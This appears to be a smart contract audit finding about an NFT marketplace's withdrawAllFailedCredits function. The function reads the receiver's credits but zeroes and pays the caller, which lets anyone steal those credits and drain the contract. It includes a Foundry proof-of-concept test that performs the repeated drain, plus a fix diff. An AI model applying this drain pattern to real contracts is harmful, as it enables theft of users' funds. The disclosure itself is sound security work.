Failed Credit Mapping Bug Enabling Theft and Contract Draining
Description
-
FailedTransferCredits mapping credits ETH from failed payouts, withdrawable by owners via withdrawAllFailedCredits(_receiver).
-
Bug zeros credits[msg.sender] instead of [_receiver] and sends to msg.sender, allowing theft of any credits; repeated calls drain contract as credits aren't properly cleared, leaving balance exposed.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@>failedTransferCredits[msg.sender] = 0;@>
(bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
Impact:
Proof of Concept
Triggers failed credits via rejector bids, then seller calls withdraw for rejector, gets ETH but zeros own slot; repeats to drain contract multiple times since rejector's credits stay full.
function testCreditTheftAndContractDraining() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), 3 ether);
vm.prank(address(rejector));
market.placeBid{value: 1.1 ether}(TOKEN_ID);
vm.deal(BIDDER_2, 2.2 ether);
vm.prank(BIDDER_2);
market.placeBid{value: 2.2 ether}(TOKEN_ID);
vm.deal(BIDDER_1, 3.3 ether);
vm.prank(BIDDER_1);
market.placeBid{value: 3.3 ether}(TOKEN_ID);
uint256 contractBalanceBefore = address(market).balance;
assertEq(market.failedTransferCredits(address(rejector)), 1.1 ether);
vm.prank(SELLER);
market.withdrawAllFailedCredits(address(rejector));
assertEq(address(market).balance, contractBalanceBefore - 1.1 ether);
assertEq(market.failedTransferCredits(address(rejector)), 1.1 ether);
for (uint256 i = 0; i < 3; i++) {
vm.prank(SELLER);
market.withdrawAllFailedCredits(address(rejector));
}
assertEq(address(market).balance, contractBalanceBefore - 4.4 ether);
}
Recommended Mitigation
Changes amount check to msg.sender only; zeros msg.sender slot; sends ETH to _receiver; adds event for tracking withdrawals.
+event FailedCreditsWithdrawn(address indexed receiver, uint256 amount);
function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
+ emit FailedCreditsWithdrawn(_receiver, amount);
}